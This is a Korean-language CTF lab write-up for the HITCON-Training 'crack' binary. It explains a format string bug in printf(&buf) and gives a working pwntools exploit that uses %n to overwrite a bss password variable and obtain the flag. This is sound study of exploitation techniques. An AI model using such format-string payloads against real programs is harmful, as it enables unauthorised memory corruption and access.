문제


crack 바이너리의 checksec 결과는 다음과 같다.

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

crack 바이너리의 file 명령어 결과는 다음과 같다.

crack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=66ea82f29539f0da4643036bca734fcd9b4791f9, not stripped

바이너리 코드

int __cdecl main(int argc, const char **argv, const char **envp)
{
...
...
  v3 = time(0);
  srand(v3);
  fd = open("/dev/urandom", 0);
  read(fd, &password, 4u);
  printf("What your name ? ");
  read(0, &buf, 0x63u);
  printf("Hello ,");
  printf(&buf);
  printf("Your password :");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == password )
  {
    puts("Congrt!!");
    system("cat /home/crack/flag");
  }
  else
  {
    puts("Goodbyte");
  }
  return 0;
}

=> /dev/urandom에서 읽어온 4byte 랜덤값이 내 입력값과 같으면 flag를 읽어준다. 이 랜덤값을 알아내는 것은 불가능하다. 하지만 그 전에 buf의 내용을 printf 하는 곳에서 format string bug가 존재한다. 이를 이용해서 bss 영역에 존재하는 password 변수에 저장되어 있는 값을 덮어쓸 수 있다.

exploit 방법

printf(&buf)를 하는 시점에서 esp의 위치와 스택을 살펴보았다.

  1. 스택을 보면 read의 인자로 push 되었던 password의 주소는 다른 값으로 덮어 쓰여져서 보이지 않는다.

  2. 이 때 esp 값은 0xffffcf80 이고 buf의 주소는 0xffffcfa8이다. 따라서 buf에 &password+”%08x”*10을 저장하면 마지막에 password의 주소가 출력되는 것을 확인할 수 있다.

따라서 buf에 &password + “%08x” * 8 + “%32d” + “%n” 을 하면 password에 100을 넣을 수 있다.

풀이


#!/usr/bin/python

from pwn import *

file_path="/home/sungyun/HITCON-Training/LAB/lab7/crack"

p=process(file_path)

p.recvuntil("name ? ")

password=0x804a048

pay=p32(password)
pay+="%08x"*8+"%32d"+"%n"

p.send(pay)

p.recvuntil("Hello ,")
p.recvuntil("password :")

p.send(str(100))

p.recvuntil("!!\n")

print p.recv()

알게 된 것


  1. int a=100; printf("%2d",a); 이렇게 하면 100이 출력된다. 그래서 위의 문제에서 %6d의 결과로 6개의 글자가 출력되지 않고 더 긴 값이 출력되었다.
  2. %n을 통해 덮어쓸 값이 매우 크면 printf를 통해서 매우 긴 문자열을 출력해야 한다. 이런 경우에 문자열이 너무 길어서 출력을 못하는 경우가 있는데 이럴 때는 %hn을 이용해야 한다.

  3. %08x를 하면 공백 대신에 0이 채워지는데 사실 공백도 출력 개수에 포함되기 때문에 %8x를 써도 된다. 하지만 %08x를 하면 4byte이기 때문에 메모리 offset을 맞춰주기 편한듯?